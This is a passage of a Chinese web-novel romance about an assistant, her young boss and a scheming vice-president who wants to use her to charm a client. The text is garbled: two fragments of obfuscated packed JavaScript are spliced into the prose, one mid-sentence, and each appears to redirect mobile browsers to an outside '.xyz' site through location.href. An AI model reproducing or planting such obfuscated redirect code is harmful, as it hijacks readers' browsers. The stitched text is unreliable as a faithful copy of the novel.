l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459441|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让你长长记性。对了,需不需要我给你下单再买两床被子?”顾妙掏出手机,立刻打开了购物软件。 魏如栩有点无奈:“我一个人要那么多被子干什么——好好好,我自己买,说了你不是我保姆,别操心这些事。” 顾妙没好气地瞪他一眼:“你以为我想这么唠叨?还不是万一你病了我还得伺候。自己买,说得倒挺好听,你分得清什么芯的被子舒服又透气、盖上之后重量适中最容易让人入睡么?还得买两套床品四件套,你分得清水洗棉、长绒棉、60S贡缎这些布料的区别吗?贵的也不一定好,看你现在家里那套,就是导购妹子直接给你搭的吧?睡着感觉怎么样啊?!” 被她一番抢白,魏如栩目瞪口呆,感觉自己遭遇了技术碾压,举双手投降:“行,你买,你说了算,回头付款链接发我。我就备注一件事,四件套颜色别按你的审美,我要纯色的,灰、蓝灰、深绿为首选,不确定的来问我。” “嘁,还瞧不起我的审美。”顾妙撇撇嘴,“有本事我买白色的你自己染!” 说罢,她想了想,回到自己工位上,抱来一摞文件,“咣”地一声放在魏如栩面前,坏笑着说:“领导,这么多爱妃等着你‘宠幸’呢,干巴爹呀!” “雅蠛蝶!”魏如栩眼珠子都爆出来了,伸手翻了翻,罕见地爆了粗:“靠!这么多要钱的!穷疯了?!” 顾妙抄着手,连连摇头:“资本家!抠门的本性真是一脉相承。” 两人还在臭贫,外面有人敲门,顾妙回头,魏如栩偏头,看见盛然冲他们走过来,两人面面相觑,都是一脸尴尬。 “聊得挺热闹啊!”盛然若无其事地走到魏如栩面前,观察了一下他的脸,“气色还行。你这一发烧,可把顾助理给吓坏了,我看她跟丢了魂儿似的。” 顾妙顿时觉得这话有点奇怪,盛总在他们面前从来不这么说话的,难道被刺激得性情大变? 她是不知道盛然跟小魏总还有个“追妻同盟”,魏如栩那边还以为这个同盟自动作废。 可怎么看盛总这意思,是不打算收手,还是不管如何都要履行同盟义务? 这也太客气了吧。 “盛总你们聊,我先出去了。”顾妙踮着小碎步转身往外跑。 魏如栩站起身,跟盛然坐到旁边沙发上聊,喊住要逃跑的顾妙:“等会!盛总,你喝什么?咖啡还是冰水?” “热咖啡就行。”盛然瞥了一眼吧台上的咖啡壶,继续说道,“昨天跟爱伴宠物详聊了一下,他们对做什么样的广告片暂时还没有想法,想让我们先出个方案和预算,他们那边再做决定。我考虑了一下,针对目标受众,可能我们做个系列短片效果会更不错。大致三到五集,每集一到一分半,可以风格各异,也可以风格统一,这个我们随后再详细讨论。不知道你怎么想?” 顾妙倒了咖啡端到盛然面前,盛然冲她微微一点头,表示感谢。 “顾助理,工作的事儿,一起听一下。”魏如栩示意顾妙。 “嗯。”顾妙拉过办公桌前的转椅,乖巧地坐在一旁。 魏如栩边想边说:“这个产品应该是面向年轻人的,我也觉得病毒视频广告比较合适,还可以带起一定的话题度。至于风格,可以参考相关统计数据吧。顾助理,你怎么看?” 顾妙:“就我个人而言,还是比较喜欢诙谐搞怪一点的。可是我又担心爱伴宠物的品牌风格是走温馨路线,不知道他们会不会觉得过于轻松的广告片跟他们的品牌气质不符。” 盛然:“这个都可以谈,只要我们创意好,他们觉得感兴趣,也未必拘泥于一种风格。” “嗯,其实我对广告片一点也不担心,本来猫狗话题在网上的热度就很高,只要策划得当不愁点击率。”魏如栩看了顾妙略显疲惫的神态,继续道,“诙谐搞怪也好,毕竟现在年轻人也不太喜欢沉重的东西,温馨风格固然不错,弄不好会被观众认为是在煽情。” 顾妙听了在一旁狂点头,盛然便道:“好,我也就是想提前听听你的看法,既然这样的话,回头我叫上策划部过会讨论。” 魏如栩:“好,等你安排。” 然后空气突然就安静了下来。 三个人你瞅我,我瞅你,度过了尴尬的十秒钟。 顾妙意识过来,连忙起身:“你们继续聊,我出去忙了。” 其实盛然也没想怎么样的,奈何观众戏多。他刚说了句“那就这样吧”,就被魏如栩按住了手腕。 魏如栩悄声问:“小姨的事儿,你有什么打算?” “哦。” 根据魏如栩心细如发的观察力,吐出这个回答的盛然脸上是一片轻松的好整以暇。 不是如释重负的轻松,反而有点成竹在胸的意味。 盛然断不会扔给小魏总一个“哦”这样意味不明的回答,他只是顿了顿,说道:“我还在礼貌免打扰期。” “……”魏如栩有点懵,什么玩意? 就当他想继续追问的时候,听到外面传来车翔的声音:“小顾,小魏总在吗?廖总想请他过去一趟。” 顾妙看着车翔的脸,怔了怔,心道,我没听错吧,按级别论,那个糟老头子难道不该自己过来吗? 65. 第六十五章 恶意 触犯到她小魏总的尊严,顾妙就不走脑,直接走条件反射。 “老板在呢,在跟盛总谈事儿。”顾妙言笑晏晏,“要不一会儿小魏总得空了,我给你打电话,你通知廖总直接过来就行。” 车翔没料到顾妙这么虎,顿时不知道该怎么说了。 两边都是爷,小的我也得罪不起啊! 正在相持时,魏如栩从办公室里出来了,他冲车翔一点头:“跟廖叔叔说,我稍后就过去。” 车翔见他发话,如蒙大赦,赶紧跑回去传话。 魏如栩看着顾妙,冷笑:“顾助理,几个菜啊?你是不怕得罪廖玄还是不怕得罪车翔?” 顾妙也意识过来自己似乎冲动了那么一点点,转着笔心虚地小声说:“就觉得廖总对你有点太摆谱了……” “我是小辈,他摆谱就摆谱呗。”魏如栩无奈,“这些事儿上你不用维护我,我的仗我来打。你个小兵卒子听指挥,别自作聪明,胸口贴着个勇字愣送过去当炮灰。” “也没那么可怕吧……”顾妙声音更低,“他们能把我怎么样?又不是拍宫斗戏。” 魏如栩也没再说什么,只是心里叹了口气。 他是怕廖玄和车翔在工作上给顾妙下套整她,他还怕有的时候自己来不及保护她,更怕如果他越想保护她,越给她带来麻烦。 又或许是自己被害妄想症犯了吧,这阵子廖玄确实什么也没干。 盛然这才走出来,在里面他把刚刚的对话听了个全套,这会儿若有所思地看着顾妙。 顾妙冲他发射了一个疑问的眼神:“?” 盛然则落落大方地对她一笑,走过来拍拍魏如栩的肩膀:“你忙吧,我回去了。” “一起走,我去找廖叔叔。”魏如栩跟着盛然迈出办公室大门,回头对顾妙丢下一句话:“你清醒清醒。” 顾妙咬着笔,一脸空白地目送俩帅哥离开。 出了总经办没几步,就快到廖玄的副总办了,趁着这个当口,盛然对魏如栩低语:“顾助理对你……” 魏如栩摆了摆手:“一言难尽。” “怎么就一言难尽了?”盛然挑眉,“你跟她说什么了吗?” “没机会说。”魏如栩眼看副总办近在眼前,一脸惆怅地停下脚步。 盛然疑惑地看着他:“你不会连表白都不会吧?需要我教你吗?” “……”魏如栩嘴角微微抽搐,“我谢你啊。” “她明明喜欢你,你还在这儿浪费什么时间?”盛然心想老子面前困难重重,你这倒好,一开口就能搞定的事儿,让你办得磨磨唧唧,真是饱汉不知饿汉饥,年轻人带不动啊带不动。 想到这里盛然十分郁闷,看见魏如栩突然呆滞的模样,一股恨铁不成钢的邪火从心里冒了出来,打算甩袖离去。 魏如栩怔了怔,一把抓住盛然的手腕:“你说她喜欢我?” 已经有经过的女同事向他们投来诧异的目光,盛然一边尴尬地冲人点头微笑,一边挣脱小魏总铁钳般的手,压低声音问:“你不会连这个都看不出来吧?” 魏如栩明显在走神,神智不知流窜到了哪里去,好几秒没出声。 “回头私下聊。”盛然拍了拍他的肩膀,甩开长腿走了。 小魏总不是个迟钝的人,但是这话从别人口中说出来,他还是稍稍有那么一点意外。 他能感觉到顾妙对他有好感,不排斥,甚至是有点喜欢的,可那到了一个什么程度呢?他一直不敢妄下判断。 魏如栩虽然知道自己形象好气质佳,从小到大追求他的女孩子也不少,但对于他自己真正喜欢的女孩,他就不太敢那么妄下判断了,生怕自己被打脸。 偶像包袱还是有的,做人要谨慎。 可这话被猴精的盛然点明,魏如栩心中冒出了一簇激动的小火苗,喜滋滋地心想:“她也喜欢我……对啊,不然怎么会处处维护我?单纯为了老板不用这么拼命吧?” 然而下一秒,他的脑海里就浮现出了几天前顾妙说希望一切都不要改变的画面,刚刚扬起的尾巴就黯然垂了下来。 如果她还跨不过心里那道坎,就算喜欢,想必也没有多么喜欢吧。 魏如栩还在暗自神伤,就听见对面有人喊他,一抬头,是廖玄。 廖玄站在办公室门口,抱着手摆了个pose:“发什么呆呢?” “哦,没什么。”魏如栩轻轻甩甩头,暂且放下杂念,跟着廖玄进了办公室。 廖玄坐在沙发上,示意魏如栩也坐,接着车翔就端来上刚刚冲好的咖啡。廖玄示意车翔出去,他亲自端着分享壶给魏如栩倒了一杯:“生病了?” “小毛病,不值一提。”魏如栩捧着杯子轻轻啜了一口。他喝咖啡的习惯是在留学的时候养成的,但并不讲究,平时就喝个黑咖啡,纯粹用来提神,对咖啡也谈不上了解。不过廖玄这手冲咖啡一入口,就带来一股微酸发甜的味道,回甘也好,想必是不错的豆子。 唔,想弄点给顾助理尝尝。 廖玄也喝了一口咖啡,回味地咂了咂嘴:“这么大人了,得学会自己照顾自己。” 多大的人也会生病啊,这有什么,魏如栩心里虽这样想,但还是乖巧地回了他一句:“嗯,以后会注意——廖叔叔,特意找我来,是有什么重要的事儿要说吗?” “也算重要,所以想提前跟你商量一下。”廖玄眯着眼睛打量着魏如栩,“就是不知道你舍不舍得你那助理。” 如果小魏总有毛,此刻已经全部炸了起来,进入了紧急防御状态。 他心里有根弦瞬间绷紧了,但脸上并没露出端倪,似笑非笑地说:“什么叫舍不舍得?难道廖叔叔想让她给您当助理?她上回临时顶了一天班,不还把您给气坏了吗?” 廖玄摆摆手,笑道:“你可别多想,我哪敢跟你抢助理。其实是为了工作。上次小顾不是跟我一起去见了世纪明光那边的孙总吗?孙总对她印象很不错,还问我小顾参不参加这个项目——你说我怎么回他比较合适?” “廖叔叔您就别拿我开玩笑了,您做客户这么多年,该怎么回不比我清楚吗?”魏如栩假惺惺地说,“孙总总不会要买卖人口吧?” “瞧你这话说的!”廖玄虚点了他一下,拿起茶几上的雪茄,剪好了点着,才慢条斯理地开口,“我觉得小顾虽然年轻没什么经验,但胜在敢拼敢冲,也不娇气,脑子也灵活,适合做客户,也适合去做策划。这事儿我上次也问过她。” 他说到这里故意停了下来,意味深长地看着魏如栩,似乎在等待他的反应。 魏如栩确实不知道这事儿,但他转瞬间便知道廖玄在期待什么,恰如其分地露出了吃惊的表情:“是吗?她没跟我提过。” 看到魏如栩的反应,廖玄很是满意。 从上次顾妙礼貌拒绝这个提议的时候,廖玄就猜得出来她是什么性格。不管她跟魏如栩之间有没有私情,这事儿她都不会告诉魏如栩。 廖玄看得出来,魏如栩对他这个助理很是上心,俩人之间关系到底进展到什么程度不好说,可拿捏住顾妙,基本就等于拿捏住了魏如栩。 虽然在廖玄眼里,魏如栩完全没资格当他的敌人,但是在职位上被这乳臭未干的小孩强压一头,廖玄心里是不忿的。也正因为如此,他心里总是存着诸多促狭的恶意,比如之前让HR找顾妙的麻烦,比如对招聘创意B组之事默不作声,再比如这回把他曾跟顾妙提议转岗的事儿戳在魏如栩脸上。 事儿都不大,对公司也不会产生什么影响,但只要能搅乱魏如栩的心神,廖玄想来就觉得通体舒泰。 这小子根本翻不过我的五指山,瞎折腾什么?年纪轻轻不去谈恋爱,跟这儿装什么有为青年。 廖玄轻轻吐出一口烟雾,淡淡地笑了笑:“你也别担心,她没答应。” “哦,我没担心这个。”魏如栩心里乐开了花,但他还是假装往回找补,“我就是好奇您怎么突然这么看好她。我可是知道您对人要求有多高。” “她是你的助理,我自然得多观察。好苗子就得好好培养,你说是吧?”廖玄眯起眼睛,看着魏如栩,“对于我这个提议,你怎么想?舍得吗?” 魏如栩沉默了片刻:“谈不上舍不舍得,这事儿还是得问顾妙自己。毕竟这是她的职业规划,我就是她老板,也不能强买强卖不是?” “我也不是大发善心,不是非要培养她。”看魏如栩不上套,廖玄话锋一转,“就是觉得如果顾妙参加这次电动平衡车的项目,至少能让孙总高兴。他一高兴,我们竞标就多几分胜算。” 听了这话,魏如栩微微皱起了眉,眼神中多了一丝嫌恶:“廖叔叔,你这是什么意思?” 廖玄一怔,似乎明白了什么,哈哈大笑:“你想哪儿去了?怕我使美人计?你那小美人这么虎,真这样那孙总也受不了啊!” 这话虽然隐晦,可魏如栩也听出了廖玄话中那油腻的揶揄,一阵犯恶心,绷着脸,嘴唇抿成一条线,压抑自己心中的怒火。 “咱公司不搞这一套,放心啊,如栩,你也别多想。”廖玄伸手拍了拍魏如栩的肩膀,“孙总也是个正经人,不会提出什么过分的要求。我其实就是想借顾妙讨个眼缘,算是给咱们公司比稿助力。再说了,让她参与这个项目的策划会,跟着一起去做提案,对她来说也是一种提高。在我看来,这是件双赢的事儿。” “算了吧廖叔叔,我觉得这个办法达不到双赢的效果。”魏如栩慢条斯理地说,“您也知道顾妙有点虎,万一一个不小心,再把孙总得罪了可怎么好。要是有心培养锻炼她,大可以让她去跟别的项目。我们最近不是接触了一家宠物用品公司吗,正在谈广告代理,我打算带着顾妙全程参与,相信这对我们来说是个学习的好机会。” “那个爱伴宠物对吧?我听盛然说了。虽然只是一部广告片,但对你这样的新手来说,也算不错的项目。小伙子干劲十足啊,你爸可以放心了。”廖玄听出了魏如栩的弦外之音,从善如流地转了话题,“好了,其实就这么一点事儿,没别的。毕竟那是你的人,我得先问你意见,既然你也不同意,那就算了。” 魏如栩站起身,强调说:“廖叔叔,我不同意并不是因为顾妙是我的助理,而是我觉得这个方式就不太合适,换了别的员工也一样,咱不能因为甲方对我们哪个员工有点兴趣就把人送到跟前博好感——这个思路从根本上就不对,跟甲方是不是正人君子没关系。再说了,知人知面不知心,万一甲方表面正派,私下里毛手毛脚怎么办?这不是把员工架在火上烤吗?” “如栩啊……”廖玄叹了口气,“你以为我不想保护我手下的员工吗?我还不是为了多谈几个客户!你刚入职场,还不了解情况,其实也没必要这么强调原则底线。大家各有各的难处,有各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459442|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要背负的东西,有些事也不用这么硬刚,机灵一点就糊弄过去了。这次之所以选顾妙,就是看中了她上回跟孙总喝酒的机灵劲儿。我看她就很会自我保护,你有什么可担心的?” 魏如栩欲言又止,一阵心累。他觉得跟这老东西根本说不清楚,没什么争执的必要,于是把堵在喉咙口的话全都咽了回去,简单地说:“可能我还是太年轻吧,接受不了这样的圆滑处世。您先忙吧,我回去了。” 车翔见魏如栩大步流星地离开,赶忙起身相送,接着便往廖玄办公室里探头:“廖总,我就说吧,他肯定不答应。” “我当然知道他不会答应,就是想恶心他。”廖玄抽着雪茄,冷笑一声:“他倒是教训起我来了。成一个项目就那么简单吗?天真!” 魏如栩走到总经办门口,看见顾妙正聚精会神盯着电脑,忽地就想起来上次她喝醉酒的样子,心里一阵难受。 他也知道混职场不易,跟客户打交道麻烦,有些事避无可避,可是他就是忍不了廖玄那把员工当工具的腔调。 即便不是顾妙,那也是别人的儿女、男女朋友、妻子或者丈夫,谁愿意自己的亲人被拿去当“人牲”。 己所不欲勿施于人,这点道理魏如栩还是明白的。 顾妙冷不丁抬头,看见她小魏总悄么声地站在门口盯着她,吓了一跳,赶忙站起身:“老板,干嘛站门口发呆?” 魏如栩回过神,面无表情地走过去:“跟我进来。” 顾妙不知道廖玄跟魏如栩说了什么,顿时就在脑海中反复回忆这几天她的表现,举着放大镜自查自纠,试图在一分钟之内找到问题所在,以做好思想准备面对老板的灵魂拷问。 “廖玄曾经提议你转岗,为什么没答应?”魏如栩坐在大班椅上看着顾妙,急切地想知道她心里到底怎么想的,并没意识到自己的面色过于僵硬。 听到这个问题,顾妙松了一口气,大大咧咧地回答:“哦,就觉得黄鼠狼给鸡拜年,没安好心。” “事关你的前途,你就没好好想想吗?”魏如栩眉心微蹙,对她这个态度有点不满,心想这真是个傻丫头。 “我好好想了啊,你怎么知道我不是深思熟虑。”顾妙听他质问的语气有点强硬,顿时心里泛起一股委屈——仿佛他的质疑辜负了她的一片忠心。 魏如栩盯着她的脸仔细打量,看得出她眼中闪过的那一丝委屈,突然明白了什么。他意识到自己刚刚又有点急火攻心,态度粗暴了,缓和下语气说道:“你不用考虑我,即便你想到别的岗位上去,这也不叫背叛。我带你进公司,自然要对你负责,如果现在的岗位你不喜欢,觉得自己不适合,你有权利提出来,我可以考虑让你转岗。” 舍得自然是不舍得的,可小魏总不是那么自私的人,即便顾妙对廖玄的拒绝让他很开心,但仔细想来,他不能因为所谓的义气与忠诚耽误顾妙的前途。 “你以前跟我说过,做公司不能太江湖气,员工都有各自的职业规划,如果辞职离开也不能叫背叛,只是可能公司或者岗位现状不符合员工的要求了。”魏如栩认真地看着她,“所以你不要有这方面的顾虑。” 顾妙愕然,没想到她就教了魏如栩这么一丁点管理常识,就被这点东西返回头给打了脸。 而她回想起当时在地铁上条分缕析的思考,似乎拒绝廖玄的理由还真的就是因为不想“背叛”魏如栩,不想他受折磨。 这么想着,她觉得脸确实有点疼。 现在也没法解释了,总不能承认说我喜欢你我不想离开你吧。虽然顾妙心知肚明,这也是原因之一。 见顾妙沉默着不回答,魏如栩有点焦急,敲了敲桌子:“说话。” “你想多了,老板。”顾妙叹了口气,“廖总的提议是很好,充满诱惑,但我觉得自己未必能胜任那些岗位。我才刚刚对总助的工作上手,现在又转去别的岗,一切又得重新开始,这不仅对我没什么好处,对你确实也造成了麻烦。况且跟着你我还能熟悉整个项目流程,比单纯做文案和策划强得多。” 听她这么说,魏如栩这才轻轻松了口气。他常常怕自己无意当中耽误了谁,这种莫名其妙的过强的责任感有时候会让他无比敏感,令他整个人都变得焦躁不安。 他也知道这种心结跟当初他妈妈的去世有关——这些都是心理医生当时告诉他的——虽然现在好多了,他已经很久没有再患得患失,但这次涉及到了顾妙,他不自觉地紧张了起来。 顾妙看着魏如栩表情不是很对劲,怯生生地问:“廖总跟你说的?好久之前的事儿了,他怎么突然想起来跟你说这个?刚刚他找你,还说什么了?” 魏如栩定定地看了她几秒钟,摆摆手:“谁知道他怎么想的。” 见他语气有点疲惫,顾妙也没打算多问:“你歇会儿吧,我出去了。” 她刚走了几步,就听见身后响起急促的脚步声,一只手掌重重按在她的肩膀上:“等等。” 那只手用了力,掐得她肩膀有点疼,顾妙“嗷”了一声,回头看见魏如栩焦躁的脸:“你怎么了?” 魏如栩低头看着她,表情极其严肃:“以后工作上的事,一定不要瞒我,有什么想法一定要告诉我,好吗?” 他那么郑重其事,眼神中甚至有一丝若有若无的祈求,看得顾妙一时间神情恍惚,只听到自己心跳加速,擂鼓般“咚咚咚”跳得越来越快。 66. 第六十六章 奉献精神 “放心……”顾妙拍拍魏如栩按在她肩膀上的手,正想安慰他,却发现他手背冰凉,担心地攥住他的手指,“你冷吗?不会又要发烧吧?” 她说着就要去摸魏如栩的额头,被他牢牢握住了手。 魏如栩仍旧定定地看着她:“我没事。你答应我吗?” “当然答应了。你别多想,我要是真有什么想法一定跟你说,绝不瞒你。”顾妙故作轻松地笑道,“我还没有那么强大的牺牲精神——廖总的提议我根本没当事儿,所以才没告诉你。” 其实那会儿时间也不合适,俩人正冷战着呢,顾妙也不好跟他提,之后就忘了说。 魏如栩重重地舒了口气,握着顾妙的手并没有松开:“一言为定。” 顾妙端详着他的脸色:“你真的没事吗?是不是早上没吃药,我都给你备着呢,这就去拿。” 说罢她便挣脱了魏如栩的手,脚步匆忙地去拿药。魏如栩望着她的背影,突然感觉心里空空荡荡的。 中央空调刚停,屋里还稍稍有点闷,他这才注意到,刚刚的那一刻,他手脚冰凉,后背起了一层薄薄的冷汗。 又失态了,魏如栩心里苦笑。 原本他情绪没这么激动,只是到了办公室外,看见顾妙忙碌的样子,想起她为了做好助理所付出的种种,突然就觉得扎心,猛地涌上心头的负罪感压得他险些喘不上气来。 他心里明白,顾妙并非全然为他付出,她也是为着自己将来的事业而努力,他还没有自恋到觉得所有事情都跟他有关系,可魏如栩就是不能接受因他而给顾妙带来任何麻烦和委屈。 真是各有各的心病。 盯着魏如栩吃了药,顾妙才坐回自己的工位上,回想刚才的事儿,也是一脑门不爽。 廖玄这只老狐狸,好好的提这茬干什么?他才没那么好心想培养我,不知道又憋着什么坏水儿。 她试探问了几次,魏如栩都没跟她说,她也不好再多问。但她知道,只要事关自己,消息总会传到她耳朵里的。 果然,晚上下班以后,魏如栩有应酬先走了。顾妙拎起电脑包,刚进了电梯,就被车翔给喊住了。 自从上次那顿饭之后,车翔对顾妙的态度就退回到普通同事的状态。他是个人精,这方面的分寸把握得很好,没有突然冷却令人不适,见面仍旧有说有笑。 顾妙笑着按住开门键,等车翔进了电梯:“翔哥,下班了。” 车翔目光扫过她的电脑:“又回去加班?这么拼命吗?” “哪算得上拼命,不想拖后腿而已。”顾妙觉得车翔故意要跟她坐同一班电梯肯定是有话说,要不然两人还处在尴尬期,避免在狭小空间单独见面才是明确的选择。 不出顾妙所料,车翔开口道:“今天小魏总回去之后还好吧?” 顾妙故作讶异地看了他一眼:“我没看出问题啊,怎么了?” “倒也没怎么。我就听着他跟廖总好像又吵了一架,走的时候阴沉着脸,好像很不高兴。”车翔忧心忡忡地说,“他俩一见面就吵,这可不好。一个总经理,一个副总,又是后辈和前辈的关系,我怕传出去会影响小魏总的名声。” 梯子都递到脚下了,不爬有点对不起他。于是顾妙假装担心地问:“又吵了?这回吵什么?” 车翔犹豫地看了她一眼:“我听着像是关于你的事儿。” 咦,这话成功地引起了顾妙的好奇心,不管是不是套,她都决定要听听看。 电梯到了一层,大家回家的方向不一致,眼看就要分开,顾妙急切地拉住车翔:“翔哥,你要是不赶着回家的话,我请你喝杯东西?就附近那个咖啡馆,怎么样?” 车翔带了任务来,自然从善如流,跟着顾妙到了咖啡馆,一五一十把事儿跟顾妙说了清清楚楚。 他还认真地解释:“小顾,你也别多想,廖总不是想要你去干什么,他就觉着孙总既然对你有眼缘,那之后吃饭也好、做提案也好,把你一起带上,让孙总看着高兴,也许咱们这边就事半功倍了呢?” 顾妙垂着头沉默,一直没吭声。 车翔怕她也跟魏如栩一样犯倔,赶紧解释:“廖总绝对不会让你跟孙总单独相处,这点你可以放心。再说,廖总也想着让你全程跟着这次的项目,毕竟这是做全案,对方品牌大、要求高,来往沟通程序复杂,比你跟那个宠物用品广告片能学到的东西更多。其实廖总也考虑了很久,他是真没什么坏心,谁知道小魏总一听就不高兴,觉得廖总在利用你。” “嗐,小魏总也真是的,员工不就是块砖么,哪里需要往哪搬。他真是不该因为我得罪廖总。”顾妙听到这,总算是给了回应,她搓了搓手,表现出一副紧张的样子,“就算廖总不给我机会学习,只让我跟着当花瓶,要是能成项目,我也甘愿。” 车翔听她这么说,放心地笑了:“我就知道你是个灵活的人,不会那么死板。” “可别这么说,小魏总也不是死板,只不过是跟廖总理念不同而已。”顾妙警觉地维护魏如栩,“对下属可能有点过分保护,不光是我,对其他人也一样。换了翔哥你,要是被人欺负,他一定也会护在你前面。” 车翔意识到自己一时大意,说错了话,赶紧往回找补:“对对对,小魏总心软我知道,他跟廖总就是有代沟,做事方法不同——那这么说,你自己其实是愿意的?” “要是直接问我,我肯定没二话。”顾妙抬头看着车翔,带着谨慎的笑容,“但廖总先找了我老板,他不同意,我要是答应了,这不是等于打他的脸吗?这事儿我可不敢干。” 廖玄你个老狐狸,这是想挑拨离间吗?自作聪明,活该吧! 车翔一怔:“这……” “翔哥,你也替我想想,老板因为我跟廖总都吵一架了,我也算间接得罪了廖总,要是我再自告奋勇把这事儿揽下来,那就得罪了我老板。一下子得罪公司最大的两位大佬……”顾妙意味不明地看着车翔,“我看起来就那么傻吗?” “我不是那个意思……”车翔一直觉得顾妙软和好说话,也没什么心机,意外发现这丫头竟然是个硬茬,明明可以绕过去的事儿,她偏偏要划重点,连忙解释,“你千万别多想。这也不是廖总让我来找你的,我也没想到小魏总回去没跟你提这事儿。话赶话说到这了,我觉得能参与电动平衡车的项目对你来说有百利而无一害,才跟着多说一句。现在叫你这么一提醒,确实这么做也不太合适,你就当我没说吧。” “我理解,关心则乱嘛。”顾妙冲他一笑,似乎全然没把刚才的事儿放在心上,“翔哥你一直照顾我,好意我是心领了的。” 话不投机半句多,俩人把天都给聊死了,再待下去也毫无意义,于是随便尬聊了几句就各自分开。 从挤死人的地铁上下来,走进小区之后,顾妙觉得自己才能长长吐出一口气。晚秋的风有些凉了,吹散萦绕在她身边的地铁里的浑浊热气,整个人也变得清爽了一些。 总算知道上午魏如栩为什么那么生气,她心里倒是有点小感动。他小魏总就像一道屏障,横亘在她和公司里那些乱七八糟的事中间,把她结结实实地保护了起来,换了谁谁都会觉得暖心。 她刚刚跟车翔说她不在意自己被廖玄拿去当道具,确实不是真心话。哪个有自尊的成年人愿意心甘情愿去做花瓶?她完全能够理解魏如栩想要维护她的心情。 可具体到这件事情上来,她倒是没有像他那么反感。 孙总她见过,人不算坏,稍微有点毛手毛脚,但大庭广众之下肯定也是有贼心没贼胆,她确实是不怕的。如果因为孙总看着她喜庆,她做个花瓶能帮公司把项目磕下来,她也不抵触。 顾妙对自己的能力心知肚明,策划能力和经验她约等于没有,招待客户也毫无章法,蒙着头硬来,她能替公司拉客户的可能性几乎是负的。而她之前做过这个电动平衡车品牌的资料,知道这个全案要是能拿下来,估计能算公司排名前三的项目。 这个金主爸爸的金大腿要是能抱稳了,她也算为公司做贡献了。 为公司做贡献,就是没有辜负她小魏总的提携之恩——做花瓶就做花瓶呗,又不掉块肉,要能掉肉那还好了呢。 可正像她先前跟车翔说的那样,魏如栩反对的事情,她也不好明着赞同。所以她只能另找机会再说。 魏如栩这次出去应酬跟前两次一样,跟他以前不怎么来往的一些公子哥儿搞社交,试图拉更多的客户。但这都需要有漫长的铺垫过程,上次撞了一辆三叉戟换回一个广告片的事儿出现几率实在太低,再说他也没有那么多车可撞。 顾妙知道他不会回来太早,也就没骚扰他,赶完工作就抱着专业书上床,没看两页便昏睡了过去。 第二天她洗漱好背包正要出门,手机突然提示有新微信,打开一看,是魏如栩:“准备好出门了吗?我在楼下等你。” 顾妙疑惑,这人搞什么幺蛾子?难不成是刚回来? 她今天穿了之前从戚滢滢那里买的齐腰襦裙,对着镜子来回照了照,觉得甚是完美。这套衣服果然适合她这种个子高挑瘦削的人穿,穿上真是纤腰一握,亭亭玉立,令人生出几分自恋来。 顾妙瞅瞅那厚重破旧的电脑包,顿时有点嫌弃。 勉为其难背起电脑下楼,走到一半,她又收到了魏如栩的催促信息:“还没好?” 一看时间,明明还早,赶到公司绰绰有余,催什么催?现在外面不冷不热太阳也不晒,多等一会儿会死吗? 还没压下起床气的顾妙如是想,心一横,干脆也不给他回信息了。 在余下的下楼时光里,顾妙努力调整自己的情绪,毕竟要进入上班模式,不能太嘚瑟。当她走出单元楼门口的时候,正看见魏如栩靠在车边看手机。 “老板,开车来的?”顾妙疑惑,“你不会在外边通宵了吧?” 魏如栩看到顾妙,想要摆pose已经来不及了,不由地有些郁闷,但顾妙脸上的吃惊表情让他稍稍找回了场子。 于是他得意地靠在车门边,抱起手臂,两条长腿悠闲地搭在一起,冲顾妙挑了挑眉:“顾助理,从今往后咱就开车上班了。” “不是没有停车位吗?” 魏如栩微微一笑:“这能难倒我?刚刚租了一个,就在后面那栋楼边。” 顾妙走近他,感叹道:“可以啊,小区里停车位这么紧张你都能给弄来,为你点赞。” 如愿以偿地“遭到”了表扬的小魏总十分开心,就没提这停车位实际上是盛然帮他找的,嘴甜地回礼:“你穿这套衣服真好看,很像古装美女。” 被普通人夸和被小魏总夸是不一样的,毕竟小魏总学艺术出身,审美水平高了那么一点点,顾妙因此而有些得意,但又有点心虚:“真的?” “当然是真的!”魏如栩使劲儿点头,“让人看着觉得很舒服,就像给你量身定做似的,戚滢滢真该拉你去当模特。” “好啦,别再商业互夸了。”被美男子这么夸,顾妙又开心又害羞,不好意思让他再夸下去。 看着她微微泛红的耳根,魏如栩心里像被猫爪子轻轻 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见她没往心里去,魏如栩刚刚提起的心就放下了:“那你刚才发什么呆?” “我只是在想,万一出事我赔不赔得起。”顾妙冲魏如栩粲然一笑,“毕竟我从拿到本儿就没再摸过车了。” 魏如栩觉得她的笑容有点瘆人,喉结上下滑动了一下,本着输人不输阵的原则,嘴硬道:“怕什么,有我车神在侧,保你迅速掌握驾驶要领。” 顾妙一脸钦佩地打量这魏如栩:“老板,别的不服,就服你这视死如归的精神。” “呸呸呸,什么乌鸦嘴!”魏如栩伸手轻轻一推她的脑袋,“不会说话就保持沉默吧,沉默是金,你多攒点。” 顾妙从善如流地闭上嘴,并且做了个给嘴巴上拉链的动作,望向窗外。 魏如栩拧开车载音响,放着柔柔的轻音乐,他不禁扭过头去看着顾妙。 她正靠在头枕上,眼睛望着车窗外的风景,深秋早上的阳光洒在她的侧脸,给她镀上了一层柔柔的金光,像在在她眼里铺了一层碎金,整个人生动又柔和,可谓顾盼生辉,比什么滤镜都好看。 毕竟还是在开车,小魏总也不敢分心,努力把视线挪向正前方。是他不让人说话的,现在又觉得车里的沉默让他有点心猿意马,忍不住扯开话题。 “我打算最近找喻真谈一谈创意B组的事。”汽车汇入车流,魏如栩减慢速度。 顾妙一听就扭过了头:“你想好调整方案了?” “有想法,但还不确定,需要跟喻真先碰个头。”魏如栩扭头看她一眼,“你最近想过这事儿吗?” “想倒是想过,就是觉得可能动作会比较大,不知道可执行性怎么样。”顾妙说到这个,有点犹豫。 